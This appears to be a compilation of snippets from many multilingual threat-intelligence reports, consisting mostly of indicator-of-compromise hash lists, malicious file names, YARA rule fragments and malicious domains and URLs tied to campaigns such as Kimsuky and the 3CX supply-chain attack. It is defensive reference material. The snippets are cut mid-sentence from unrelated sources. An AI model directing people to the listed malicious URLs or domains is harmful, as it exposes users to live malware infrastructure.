73ff669fc282653bd6c42cf87ade9337 7f12fa589f56f6203c692715b3958d30 8406075af0a1e9ec09bafdc0de01f138 8c859a03814443c6f0da341ee594c352…","…0c1615 f390ef86a4ad92dde125c983e6470f08344b9eaa14c17a1e6c4bb7ebfa7c4ec9 acfae7e2fdda02e81b3e03f8c30741744d629cd672db424027f7caa59c975897 7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd e09224a24a14a08c6fcb79b00b4a7b3097c84f805f5f2adefe2f7d04d7b4a8ee 062aadf3eb69686f4881860d88ce472e6b1c07e1f586d840dd2ee1f7b76cabe7 c63a41…","…4694895d6cc30a336d125d20065de25246cc273ba8f55b5e56746fddaadb4d8a 4cf164497c275ae0f86c28d7847b10f5bd302ba12b995646c32cb53d03b7e6b5 7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd 7576bfd8102371e75526f545630753b52303daf2b41425cd363d6f6f7ce2c0c0 790662a047047b0470e2f243e2628d8f1b62794c1359b75ed9b856325e9c961a…","…침해 지표 (Indicator of Compromise) MD5 7449b3528dffeb2babfc113308e47bb7 1827287811ef97153d0ea850673ecec1 a7f908d3f49b4f53e7f658071aff5410 b9d52717f3f9e32258bd2e8260d27ef1…","…Initial installer 27ef6917fe32685fdf9b755eb8e97565 MD5 Initial installer 7b6d02a459fdaa4caa1a5bf741c4bd42 MD5 Initial installer 7457dc037c4a5f3713d9243a0dfb1a2c MD5 TrollAgent DLL c8e7b0d3b6afa22e801cacaf16b37355 MD5 TrollAgent DLL 2e5f2a154e1b67cd0d6a2f6b5feb6de7 MD5 TrollAgent DLL…","…NGSOC, and Qianxin Threat Perception, support accurate detection of such attacks. 七、IOC MD5 27ef6917fe32685fdf9b755eb8e97565 7457dc037c4a5f3713d9243a0dfb1a2c 7b6d02a459fdaa4caa1a5bf741c4bd42 88f183304b99c897aacfa321d58e1840 19c2decfa7271fa30e48d4750c1d18c1 c8e7b0d3b6afa22e801cacaf16b37355 87…","…SHA-256 7464850d7d6891418c503d0e1732812d7703d6c1fd5cf3c821f3c202786f9422 f3e6e8df132155daf1d428dff61f0ca53ecd02015a0a0bbe1ad237519ab3cb58 e87177e07ab9651b48664c3d22334248e012e8a2bab02f65c93fedd79af0a74f 022344…","…MD5 064d696a93a3790bd3a1b8b76baaeef3 55f0225d58585d60d486a3cc7eb93de5 67d306c163b38a06e98da5711e14c5a7 747177aad5aef020b82c6aeabe5b174f 8adeeb291b48c97db1816777432d97fd SHA1 3ca6abf845f3528edf58418e5e42a9c1788efe7a ec5d5941522d947abd6c9e82e615b46628a2155f URL…","…hash = \"CAD1120D91B812ACAFEF7175F949DD1B09C6C21A\" hash = \"5B03294B72C0CAA5FB20E7817002C600645EB475\" hash = \"7491BD61ED15298CE5EE5FFD01C8C82A2CDB40EC\" condition: pe.rich_signature.toolid(259, 30818) == 9 and pe.rich_signature.toolid(256, 31329) == 1 and…","…d9 30d5f17d5e3f85be18220a7cab0b9fff 5e9a80d3d4f71ecd8bf8e579a5e2449c f692c1dd797f68c34744a377482c4ed4 b77e4e9f5897f00dcbd08b2ee9bde7e8 74b1d5f857a4245aef8189ac4f409a99 6cbc007799b56682ac196e44d79e496d a9d80e7fe3f217ea4d33f8a4a0f3f73c 57015267d06b0d80721015ccd29a04cd 5076c579e378f976a57e862e5b6a7859 45…","…20d554a80d759c50d6537dd7097fed84dd258b3e 11be1803e2e307b647a8a7e02d128335c448ff741bf06bf52b332e0bbf423b03 74bc2d0b6680faa1a5a76b27e5479cbc bf939c9c261d27ee7bb92325cc588624fca75429 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896…","…, an open-source video player library: Name(s) ffmpeg.dll Size 2.7MB (2814976 Bytes) File Type Win32 DLL MD5 74bc2d0b6680faa1a5a76b27e5479cbc SHA1 bf939c9c261d27ee7bb92325cc588624fca75429 SHA256 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 The…","…MD5 SHA1 SHA256 Malicious DLL 74bc2d0b6680faa1a5a76b27e5479cbc bf939c9c261d27ee7bb92325cc588624fca75429 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 MD5 SHA1 SHA256 Malicious DLL…","…aff141 623458ffccbc4641a78914dcf9efdd78bbbd9103fc36d186c534a6d1aea4333d 71841a1b5ee1b383a9282bf513723b7f1713a0e1ee501db38d64c2db9ba08ec4 74d6b81565aeb95ee9df37ef7738d10baa9866261fb894d9ee9d67fc7c66badc 7603be6e20fdf1338f5de8660b866a7dcb87f1468d139930d9afcba7f3acabb4 828f828a4c7b098786a0b719c4cecbb1fe3c28aaf25f81fc939b9099097e4c1e 84edc9…","…压缩文件 在包含REPORT.zip的服务器http://ableinfo.co.kr/member/中，我们还发现了多个历史攻击样本 其中RAR样本信息如下 文件名 MD5 attachment.rar 74dd8338fedcb9c1d098b38e19a65d48 hanacard_20230610.rar fa03b0248a109a86eaddba108ebfcb14 KB_20230531.rar c52f99555875c34bd1bd531ffab65234…","…Hash fd673703c502be907919a4ff2922b7b969d96d206abc572a5cb83e69ab32ca18 Hash 74ddd56b1e33aa3752f143a77e5802a5803fd2c222f2cca77bfa5c740dfc8f5e Process rundll32.exe [%LOCALAPPDATA%\\MicroSoft UpdateServices\\Services.dll] install Registry Key…","…c4 7095811df4cb1ee4135ce605af7f163f 61f4946837d7cd1701eedb3c372121c6 1da701990560b8b0db2c4441145a3ee3 71dbebb8a31ea3de0115851bb15fd2bc 74e3d84492845067a0da6cfa00c064eb 445e7fd6bb684420d6b8523fe0c55228 fe5520783f715549cc3c4df9deaf89bf 44ba46dfff78bc62a3b2619d308ca40c c14a66e1a039d2e51cb70adb609df872 75…","…이러한 사례는 데이터 유출, 랜섬웨어 감염, 금융 사기로 이어질 수 있어 지속적인 모니터링이 필요하다. MD5 15adac4d6fc1bddb0c940cdc0c6605b4 53636c80d43a3c461dc8a3d2a2f2d4e1 750173f1b36e502ff17e2c5eec03c602 8edc77fb36bf80bb52d158cf9043cecd b15a55f9a23998b1976622bd3b9a3ad9 Tags: Andariel Everest 금융권 financial GeniexLoader Miyako…","…eb 445e7fd6bb684420d6b8523fe0c55228 fe5520783f715549cc3c4df9deaf89bf 44ba46dfff78bc62a3b2619d308ca40c c14a66e1a039d2e51cb70adb609df872 7504a626993179e5819246234ca6c4c9 PDB D:\\Sources\\MainWork\\Group2017\\Sample\\Release\\DogCall.pdb URL…","…(GUI) x86-64, for MS Windows MD5 549db64ceaebbbdd9068d761cb5c616c SHA1 6d91ce7b9f38e2316aa9fb50ececc02eadc4cd70 SHA256 755bd7a3765efceb8183ffade090ef2637a85c4505f8078dda116013dd5758f3 SHA512…","…4cf164497c275ae0f86c28d7847b10f5bd302ba12b995646c32cb53d03b7e6b5 7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd 7576bfd8102371e75526f545630753b52303daf2b41425cd363d6f6f7ce2c0c0 790662a047047b0470e2f243e2628d8f1b62794c1359b75ed9b856325e9c961a 800f9ffd063dd2526a4a43b7370a8b04fbb9ffeff9c578aa644c44947d367266…","…domains using the same base of the domain mireene.com with recent samples of Kimsuky spotted : Hash (SHA1) Filename Domain 757a71f0fbd6b3d993be2a213338d1f2 코로나바이러스 대응.doc vnext.mireene.com 5f2d3ed67a577526fcbd9a154f522cce 비건 미국무부 부장관 서신 20200302.doc nhpurumy.mireene.com…","…File Name 참고자료.hwp MD5 75892ed0a26593b90246c0856501a74e [그림 2] HWP 문서 파일 내부 포맷 정보 김수키 조직이 활용한 악성 HWP 문서들 중에는 동일 작성자가 포함된 문서가 여러차례 발견된 바 있는데, '판문점 선언 관련 내용의 문서로 수행된 【 작전명…","…e3c505b2457b1ac51c32bf428df070be0aa01fc90f3e35c68224832d83250c46 54bbf9a07b0b89c0501359077aa98d707ac42b22b0f628265f70237e8a71194f 75c81169d679fab821d77ea672f5a878626eb22d2110ffd7407623cb154ededd 274f4412999f561428930bd6ff38cd8e0062e5a6c9aea3e851c6752b7940ff08 0907892725021508ad379c523d17c313e3690e99ab939e02d7e4edb6ff79ce3c SHA1…","…MD5 56fa059cf7dc562ce0346b943e8f58bb b5080c0d123ce430f1e28c370a0fa18b e86a24d9f3a42bbb8edc0ca1f8b3715c a12757387f178a0ec092fb5360e4f473 75ec9f68a5b62705c115db5119a78134 ● MD5…","…a4333d 71841a1b5ee1b383a9282bf513723b7f1713a0e1ee501db38d64c2db9ba08ec4 74d6b81565aeb95ee9df37ef7738d10baa9866261fb894d9ee9d67fc7c66badc 7603be6e20fdf1338f5de8660b866a7dcb87f1468d139930d9afcba7f3acabb4 828f828a4c7b098786a0b719c4cecbb1fe3c28aaf25f81fc939b9099097e4c1e 84edc9b828de54d4bd00959fabf583a1392cb4c3eab3498c52818c96dc554b90 8573d9…","…(7) ネットワー クワイ パー検証動画 グループ１メインモジュール igfxtrayex.exe(760C35A80D758F032D02CF4DB12D3E55) Neutral8x9eRさんの検証動画 (8) 関連ファイル一覧 グループ1 No ファイル名 MD5 Hash 検知名 機能 1 diskpartmg16.exe…","…heavily obfuscated and has a different network protocol. Name(s) E57D8443104825AB22743C78B8F3AA Size 116224 Bytes MD5 76111d9780b2d0b5adee61cf752d937e SHA1 5b03294b72c0caa5fb20e7817002c600645eb475 SHA256 9352625b3e6a3c998e328e11ad43efb5602fe669aed9c9388af5f55fadfedc78 All…","…95c8ffe03547bcb0afd4d025fb14908f5230c6dc6fdd16686609681c7f40aca2 99017270f0af0e499cfeb19409020bfa0c2de741e5b32b9f6a01c34fe13fda7d 7646c2afbc8b9719b0295e5a880bb89fb85bdd4346603a52768b161eda12e8be f12db45c32bda3108adb8ae7363c342fdd5f10342945b115d830701f95c54fa9…","…99dbc6fe3c3e465052fcefa1642861747dc9e069eeb244589b605bd710b1e0d1 fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7 7667d1b8fcc4f712084e3e3f8b4ab505ab150c52aea7b219249ec508b4b0e224 UpdateAgent SHA256 hash: 6c121f2b2efa6592c2c22b29218157ec9e63f385e7a1d7425857d603ddef8c59 Domains: msstorageazure.com…","…69C917EA96DB28DBD5B67073CA0AAC234D25651A849171B45F20979EAFA05A1C 6C121F2B2EFA6592C2C22B29218157EC9E63F385E7A1D7425857D603DDEF8C59 7667D1B8FCC4F712084E3E3F8B4AB505AB150C52AEA7B219249EC508B4B0E224 87C5D0C93B80ACF61D24E7AAF0FAAE231AB507CA45483AD3D441B5D1ACEBC43C 89CAD9A57985CC0AB3B7403A943AD0AA7B167DC7A3C38557417FEDEA67A77B87…","…& Control server CERT Computer Emergency Response Team APK Android Package Kit APPENDIX B: LIST OF STUDIED SAMPLES Hashes are SHA256. 766d7d591b9ec1204518723a1e5940fd6ac777f606ed64e731fd91b0b4c3d9fc d4616f9706403a0d5a2f9a8726230a4693e4c95c58df5c753ccc684f1d3542e2 95c8ffe03547bcb0afd4d025fb14908f5230c6dc6fdd16686609681c7f40aca2…","…⚫ 2a4fe005442bea4ddcae0595099e8f3d ⚫ 22133c0f18e3382b31a81390b3a8ba4c ⚫ b20e27a003b0c43dfcd71111d5ed45f6 ⚫ 766f5ae486770ea0d59ed46569e694c6 ⚫ 4111e51fcadf34fc476afb6d97868cdf Operation Double Barrel 63 Related Domains, URLs, and IP Addresses The download and…","…Exposure Indicators of Compromise Domain Name atlanwelt.de IP 72.14.155.62 MD5 e9a54529a55bada06fdf95e0b7de77cd SHA-256 7689f8c2bfff6262a5885f3e5afc5442dc8a60bfa463da821e348b095d45e362 SHA1 5e05839ce67f982e292150e91de22c906bac7f70 URL http://72.14.155.62/dash/index.php?ati=Kur-55502ecd073cb632_55502ecd073cb632…","…Web12.config (암호화된 페이로드) Trojan.BIN.Encoded 4C3FB7A00EDE6A719450C63A1B6E7E1D MD5 샘플 2 - 고객현황_202605.lnk Trojan.Agent.LNK.Gen 768C718A8A020BA59E7FB55BCB5EBF1F MD5 샘플 2 - WCF35Setup.js (로더) Trojan.Script.Agent 1BA542F1A2E152259B15906275B72E6B MD5 샘플 2 - aspnet.config (암호화된 페이로드)…","…fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405 660ea9b8205fbd2da59fefd26ae5115c 769383fc65d1386dd141c960c9970114547da0c2 a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67 82187ad3f0c6c225e2fba0c867280cc9…","…Name(s) libffmpeg.dylib Size 4.7MB (4979136 Bytes) File Type Mach-O MD5 660ea9b8205fbd2da59fefd26ae5115c SHA1 769383fc65d1386dd141c960c9970114547da0c2 SHA256 a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67 The macOS version does not use GitHub to retrieve its…","…buried deep within the App’s Contents/Frameworks/Electron\\ Framework.framework/Versions/A/Libraries directory. Its SHA-1 hash is 769383fc65d1386dd141c960c9970114547da0c2 , and it was uploaded to VirusTotal early today where it was not flagged by any of the AV engines as being malicious: A malicious…","…Number 13F8F43FFAFEAD5F5EA8C0D259C2D0E6 Thumbprint(SHA1) 2E1DD779B28F86B5766C08245B86E37E9C5E4937 Thumbprint(SHA256) 76C71C03440826ADF26F4C35C36B97343ADCFF6A48188393EDD375F9A7289F14 유효기간 2019-02-14 ~ 2020-05-15(만료) 레지스트리 조회 및 복호화 특정 레지스트리 경로에 존재하는 다운로더와 설정 데이터를 읽어 복호화한다.…","…Enumeration Script SHA256 e41fdf41e6f5d089d1b8d7ea6f6a5c76760fe2a553c8ebc47601ebeca01311e1 VelvetCake Download URL SHA256 76e9bdf193b3127623b674efdf3f0e3585932af33c9c85a3d6375d369de0e12a VelvetCake Download URL Share : We value…","…The other two are WOFF files that appear in no published IOC list: SHA-256 SHA-1 MD5 RL status (TCA-0101) 76ec916464baf025c9573f78fc413f5eab0d03f4ada6cd247671f0f4ab4fbcae 959ad1ba59212c69526eae10e12d8dc58ecaf2dd 8d4caaa508cdb6f04fa670a339026f6c goodware, 0 of 38 scanners, first seen 2026-10-09…","…SHA1 84c2e2d5d61ed9148a0057e951fdea641901874d 41bff8875d1f83b3af52b65cb7ce8ebca0e30bfd 44b072d3948f06cdc0be573aa62ce3ca0b80da1e 76ed57d6451f634255c664a89f7a64a062923c05 08620755dabc0983eaf1320ac4c71d90b56ff1bb 7bb3e2671b8ad6e2e1ffb9e8b022dfd677fdd31a aabaea027236e8605f4b89e3d9e2206993398af2 f8542e556774…","…or hash.sha256(“b81513f0f8d3db382bb8f931bf2b7a0d4f26f74cfcf60b5d889de87ef2f1d543”) or hash.sha256(“76ee4da0af1921b820cc0913b4011bb5382edac958eb2592ee1c3a00a41c2041”) or hash.sha256(“f1b4eb84e77e39803a0463b49b66600adb19347512354d0481568a8411b75b24”)…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2019-07-23 02:17:02-04:00 Import Hash 7712511643053a6d00be14bd064ba3b3 PE Sections MD5 Name Raw Size Entropy f5ce198af5d5f13f685bf5e7b4321e00 header 1024 2.998958…","…6cb1e9850dd853880bbaf68ea23243bac9c430df576fa1e679d7f26d56785984 6d4415a2cbedc960c7c7055626c61842b3a3ca4718e2ac0e3d2ac0c7ef41b84d 772b9b873100375c9696d87724f8efa2c8c1484853d40b52c6dc6f7759f5db01 9d10911a7bbf26f58b5e39342540761885422b878617f864bfdb16195b7cd0f5 d5f9a81df5061c69be9c0ed55fba7d796e1a8ebab7c609ae437c574bd7b30b48…","ed8ec7a8dd089019cfd29143f008fa0951c56a35d73b2e1b274315152d0c0ee6 db6a9934570fa98a93a979e7e0e218e0c9710e5a787b18c6948f2eedd9338984 773760fd71d52457ba53a314f15dddb1a74e8b2f5a90e5e150dea48a21aa76df 05e9fe8e9e693cb073ba82096c291145c953ca3a3f8b3974f9c66d15c1a3a11d e3027062e602c5d1812c039739e2f93fc78341a67b77692567a4690935123abe…","…Execution/EDR.Regsvr32.M11168 – Suspicious/DETECT.T1060.M2939 MD5 486370be06493d78a9922b3a6e424909 7756b4230adfa16e18142d1dbe6934af 8b77608db042b225ae8f59276ee3a165 a0dd33b6b8c3ac9bee46a95586df345f URL http://peras1.n-e.kr/ AhnLab EDR 의 행위 기반 탐지 및…","…Execution/EDR.Regsvr32.M11168 – Suspicious/DETECT.T1060.M2939 MD5 486370be06493d78a9922b3a6e424909 7756b4230adfa16e18142d1dbe6934af 8b77608db042b225ae8f59276ee3a165 a0dd33b6b8c3ac9bee46a95586df345f URL http://peras1.n-e.kr/ To learn more about AhnLab…","…90 46fd22acea614407bf11d92eb6736dc7 568f7628e6b7bb7106a1a82aebfd348d 779f2f4839b9be4f0b8c96f117181334 07015af18cf8561866bc5b07e6f70d9a 7756b4230adfa16e18142d1dbe6934af 8346d90508b5d41d151b7098c7a3e868 30741e7e4cdd8ba9d3d074c42deac9b1 537806c02659a12c5b21efa51b2322c1 afadab22f770956712e9c47460911dad b9…","…IoC 정보 NO Type Data Info 1 MD5 777b6a02f7a44582c40ddadb82e60ddb 제안서.pdf.lnk 2 MD5 8ba7ce929702a5423eb0ffd5763ab895 start.vbs 3 MD5…","…malware hash 912f87392a889070dbb1097a82ccd93f prof3.db(x86) 778a7ed1aa3ce2d8eb719765cac3c166 prof6.db (x64) eb6275a24d047e3be05c2b4e5f50703d skin-8.thm (x86) a6d1424e1c33ac7a95eb5b92b923c511 skin-6.thm…","…APAC: +65.6983.8730, or Japan: +81.50.1790.0200. Indicators of Compromise Threat Actor SHA256 Selective Pisces 779a6772d4d35e1b0018a03b75cc6f992d79511321def35956f485debedf1493 Selective Pisces d9b1ad70c0a043d034f8eecd55a8290160227ea66780ccc65d0ffb2ebc2fb787 Selective Pisces…","…a0 5a223c70b65c4d74fea98ba39bf5d127 7a0c0a4c550a95809e93ab7e6bdcc290 46fd22acea614407bf11d92eb6736dc7 568f7628e6b7bb7106a1a82aebfd348d 779f2f4839b9be4f0b8c96f117181334 07015af18cf8561866bc5b07e6f70d9a 7756b4230adfa16e18142d1dbe6934af 8346d90508b5d41d151b7098c7a3e868 30741e7e4cdd8ba9d3d074c42deac9b1 53…","…Size 905216 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 83833f8dbdd6ecf3a1212f5d1fc3d9dd SHA1 77a2272633eb64e4c16f8ea4466dba59ecc92292 SHA256 43193c4efa8689ff6de3fb18e30607bb941b43abb21e8cee0cfd664c6f4ad97c SHA512…","…The batch script dropped by the two payloads share a file name, file path, and hash value with a script sample (77a32726af6205d27999b9a564dd7b020dc0a8f697a81a8f597b971140e28976).…","…Name java.exe Size 118784 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 77b50bb476a85a7aa30c962a389838aa SHA1 df466a1f473c7c5eba5f22d90822fd1430b6a244 SHA256 3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 SHA512…","…IOCs MD5 77b7856144515bb3905df8b3fb210a2e f6628bd40f4cd6cc8405541c269ac901 4de19e2c39b1d193e171dc8d804005a4 12539ac37a81cc2e19338a67d237f833 a4d58f1bcce687d4ea60a3fe60120d5e 19…","…⚫ 258928e7ceb61f13390b73c774c52934 ⚫ 2a3977663278e761036243cfb16ee0c4 ⚫ 3f694a68ff9a26feb38e6eb6d3c1e5a6 ⚫ 77cbe2c9c957110841405691ba438322 ⚫ 8b36d639de339149612222f3bc28fd60 ⚫ e340f0c34c644f990b03673176f52f84 B.…","…IOCs MD5 66c4e2dd235c4d8d31abaf96e051585e - KAIA+지갑+파일+및+주소+송부드립니다..eml 77f131bc8f660f85812c0d2e0da8e77e - [국세청]+회원님께+도착한+고지서를+확인하세요..eml 003ea91e9f52ecfdc3aadb2732e9b54c - [네이트]+해외+지역에서+로그인이+시도되었습니다..eml e3a937869322cc4cd765fcbf16d5b9ea -…","…: A869624BCD3FBA754DEC27FD7B04046455F6929DB7BF117CCA215B78B0889C79 downloaded malware (0xFF encoded) md5 : 77F67E93C8BDEA2CE9A66012B5EA2929 sha1 : 55AE82C3D83E95B93AAC9047B5AC35B72CC29BC2 sha256 : 1DB71AF7956F90AF9544C370A9DD3570CFBE04010C7608E5A160B997CF134F89 downloaded…","…b23f1e241db4 2efdf82808cd7f63ebc66f553ae94127c3d7c60b 8380d7451f9c4477dd2e8c7c0ba46471bfc6dc27 60be225d1a90070d22bf2abcc740d311041cb432 78027c3800ff58321371a28b1e2a6d7e870add60 4a93fe1e7fce91f3c3d99c733d9628ed952dbf2a 5e38363e7c196a3627dc10a8292bb72473599c2e URL https://filedn.com/lY24cv0IfefboNEIN0I9gqR…","…Indicator of Compromise MD5 81c08366ea7fc0f933f368b120104384 723f80d1843315717bc56e9e58e89be5 7822e53536c1cf86c3e44e31e77bd088 324688238c42d7190a2b50303cbc6a3c a635bd019674b25038cd8f02e15eebd2 beeaca6a34fb05e73a6d8b7d2b8c2ee3 d5d48f044ff16ef6a4d5bde060ed5cee d7…","…침해 지표 (Indicator of Compromise) MD5 81c08366ea7fc0f933f368b120104384 723f80d1843315717bc56e9e58e89be5 7822e53536c1cf86c3e44e31e77bd088 324688238c42d7190a2b50303cbc6a3c a635bd019674b25038cd8f02e15eebd2 beeaca6a34fb05e73a6d8b7d2b8c2ee3 d5d48f044ff16ef6a4d5bde060ed5cee d7…","…ab1071c25ce763072f6b85302a83024833e724ffc51075da5bf915860a674874 7c059314638fd78ce3d0f375bae16a615860d603d1b157edeb4eabf797347d35 782aadc761381ec79e8d01a5ed4d13ae6089661ff2517c88e6de6d6eb2c89cab e7923f6672cfc24f47982c3c5b8aa967bf83de3b05bb3f199c4cb6c4aa89b84d SHA1…","…e2cf87 5f23b1ca43f6a18e3c9f21d390f5d1e187b1339b07a1dce70f8338f3be320878 6ffb5106d912e582bde2c095365fa37a441741e4b9ea7f856b2ecad9516b74c2 784d5df037879ed47cf46f8b2ec2c54e3c590805dbc05539ddd8c328215644a7 SHA-1…","…of Compromise Domain Name atokyonews.com arcashop.org wassmestaazh.pro yayun88.one MD5 92b770b39e51c618a8556e2a5f8989a8 785028ccb1763c504626d3678a0c8fe7 34bd23adddc3ca5e252d89fed27225bd SHA-256…","…\"type\": \"file\"}}} {\"threat\": {\"indicator\": {\"description\": \"Simple indicator of observable {788261d948177acfcfeb1f839053c8ee9f325bd6fb3f07637a7465acdbbef76a}\", \"x509\": {\"hash\": {\"md5\": [\"02da572d59e4aaac9341747efc00f5ae\"], \"sha1\": [\"fd24c03f07af1ec1271c40009ff648fdc0fd3ba8\"], \"sha256\":…","…\"type\": \"file\"}}} {\"threat\": {\"indicator\": {\"description\": \"Simple indicator of observable {7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8}\", \"file\": {\"hash\": {\"md5\": [\"e169d95fffd8ab489f5eae02365d39ca\"], \"sha1\": [\"ed4f16b36bc47a701814b63e30d8ea7a226ca906\"], \"sha256\":…","…Websites executivedaytona.com cavasa.com.co phasechangesolutions.com jethropc.com cammirando.com Hash 7887cea2962c954ccb60d005da03abcf68962517d1b3e3d2a472f5d952a03f8e 0aaec376904434197bae4f1a10ecfe8d4564d95fdfa8236ea960535710661c5f 0329bb5b3a450b0a8f148a57e045bf6ed40eb49a62e026bd71b021a2efc40aed 5ea092…","…(GUI) x86-64, for MS Windows MD5 6c36c8efe2ec2b12f343537d214f45e8 SHA1 69eb27395e8f23b592547b69fbaf19ad03d6a89a SHA256 78b56a1385f2a92f3c9404f71731088646aac6c2c84cc19a449976272dab418f SHA512…","…17d97e3ee3185d82812a4014444c36f3 327617e977eefd15708568f43140e595 3d802ceaf891ea57ecd7d1d786d96a0d 5be7578bfe633fb268ad97a520abb4e1 78c219a6bec5fc30f43b62e4934646eb URL…","…Rivts Worm File Hashes 4B584695BA08E680452BE6016886637A Faedevour Worm File Hashes FFFA05401511AD2A89283C52D0C86472 78D3C8705F8BAF7D34E6A6737D1CFA18 Brambul Worm File Hashes FF4721E6EDAD7D3BEC8E0C4D4A8C1D26 344D3EC0D84D2853E416C664DD577F44 F024FF4176F0036F97EBC95DECFD1D5E…","…(2023.12.06.03) Backdoor/PowerShell.Konni (2023.12.06.03) MD5 682b5a3c93e107511fdd2cdb8e50389a 78ea811850e01544ca961f181030b584 a93474c3978609c8480b34299bf482b7 b58eb8a3797d3a52aba30d91d207b688 d06d1c2ec1490710133dea445f33bd19 URL…","…7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd 7576bfd8102371e75526f545630753b52303daf2b41425cd363d6f6f7ce2c0c0 790662a047047b0470e2f243e2628d8f1b62794c1359b75ed9b856325e9c961a 800f9ffd063dd2526a4a43b7370a8b04fbb9ffeff9c578aa644c44947d367266 941cd0662cae55bc06727f1d658aba67f33442e63b03bebe012dad495e9e37dc…","…AccountStore.bak bc1e06ba5f472aaf30d8027dc8562307 04bc9e74c65b6df6f6c4ba90db3d85ca9b2dda4c 79076febac7abad26ae1c570c4de41fb51c6a5a82b97ec5299005d8e9f66e5a9 AccountStore.bak 66037fc3c489d099107e2d3cddd33569 a7e34ed64337893752eadfbfae9a516c8b482329…","…11 db315d7b0d9e8c9ca0aa6892202d498b f5b14052e15aea78d2da695276f585c8 A2BE99A5AA26155E6E42A17FBE4FD54D e24bbbd3b32ca2fd3b8fb76f036cb4bb 790a21734604b374cf260d20770bfc96 d3a988a9750cb6582310c806fa32d4f1 805949896d8609412732ee7bfb44900a 1bf36342c0506a58369a3b530b7d0bcc 60214745027c7efa7cc920d43d9c254a 9a…","…Type Microsoft Word 2007+ MD5 56470e113479eacda081c2eeead153bf SHA1 c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e SHA256 7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971 SHA512…","…Size 521644 bytes Type Microsoft Word 2007+ MD5 7955fa7ab32773d17e0e94efeea69cf4 SHA1 e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a SHA256 158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17 SHA512…","…확인하는 등 각별한 주의가 필요하다. MD5 50d4e3470232d90718d61e760a7a62fb 6a84a14dd79396f85abd0e7a536d97fc 7183295e6311ebaaea7794d8123a715e 79573759208d78816316546a9c1f0aec 873579b92d618bf2ed3f67b7a01d7f7a URL…","…before opening them. MD5 50d4e3470232d90718d61e760a7a62fb 6a84a14dd79396f85abd0e7a536d97fc 7183295e6311ebaaea7794d8123a715e 79573759208d78816316546a9c1f0aec 873579b92d618bf2ed3f67b7a01d7f7a URL…","…The dropped payload is Rustonotto, which is a Rust-compiled binary (MD5 7967156e138a66f3ee1bfce81836d8d0).…","…(GUI) x86-64, for MS Windows MD5 c6801f90aaa11ce81c9b66450e002972 SHA1 4e30ebb98bb9f984c05eb0c0a365ff95305e8c55 SHA256 7985af0a87780d27dc52c4f73c38de44e5ad477cb78b2e8e89708168fbc4a882 SHA512…","…74bc2d0b6680faa1a5a76b27e5479cbc bf939c9c261d27ee7bb92325cc588624fca75429 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 f3d4144860ca10ba60f7ef4d176cc736 bea77d1e59cf18dce22ad9a2fad52948fd7a9efa…","…Bytes) File Type Win32 DLL MD5 74bc2d0b6680faa1a5a76b27e5479cbc SHA1 bf939c9c261d27ee7bb92325cc588624fca75429 SHA256 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 The library is loaded by 3CXDesktopApp.exe , and it is used to decode and inject a payload into memory: Name(s) N/A Size…","…MD5 SHA1 SHA256 Malicious DLL 74bc2d0b6680faa1a5a76b27e5479cbc bf939c9c261d27ee7bb92325cc588624fca75429 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 MD5 SHA1 SHA256 Malicious DLL cad1120d91b812acafef7175f949dd1b09c6c21a SHA1 Stealer Payload…","…the clean executable was used to load a malicious DLL named ffmpeg.dll (SHA256: 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896) This DLL contains code that will load and execute a payload from a second DLL named d3dcompiler_47.dll.…","…심리를 이용한 북한의 정보 탈취형 악성 문서 파일 Name 생활비지급 .doc Type Microsoft Word 문서 파일 Behavior VBA Macro SHA-256 79e15cc02c6359cdb84885f6b84facbf91f6df1254551750dd642ff96998db35 Description VBA Macro Embedded Word Document [ 파일 6] 금전 지불을 위장하여 실행을 유도한 북한의 정보 탈취형 악성 문서 파일 Name 1MT…","…md5 0085a02b9ba24afd266116df43acbd4f57fc8822af4929e7d17b59f2ceae9418 9320a614916bbfaa31853d785ffe0ed0fc7b54f4 79fc7ed090bc935881e7c242e40071a2 3c1cfc2b8b7e5c2d713ec5f329aa58a6b56a08240199761ba6da91e719d30705 87e3e59f6653ae1306461bf9683bda92f442d77f…","…parts of their security posture. Indicators of Compromise Malware Samples SHA256 Type Size Detection Notes 7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d PowerShell 516 B 11/65 Loader (zoom.05ukweb.uk variant) 180f797723bd65e82189eb1f737d39ce522614a182e2b46b51faeb49953a412f…","…침해 지표 (Indicator of Compromise) MD5 2f6fe22be1ed2a6ba42689747c9e18a0 5a223c70b65c4d74fea98ba39bf5d127 7a0c0a4c550a95809e93ab7e6bdcc290 46fd22acea614407bf11d92eb6736dc7 568f7628e6b7bb7106a1a82aebfd348d 779f2f4839b9be4f0b8c96f117181334 07015af18cf8561866bc5b07e6f70d9a 77…","…MD5 131fc4375971af391b459de33f81c253 1875f6a68f70bee316c8a6eda9ebf8de 47791bf9e017e3001ddc68a7351ca2d6 7a19c59c4373cadb4556f7e30ddd91ac 7ef97450e84211f9f35d45e1e6ae1481 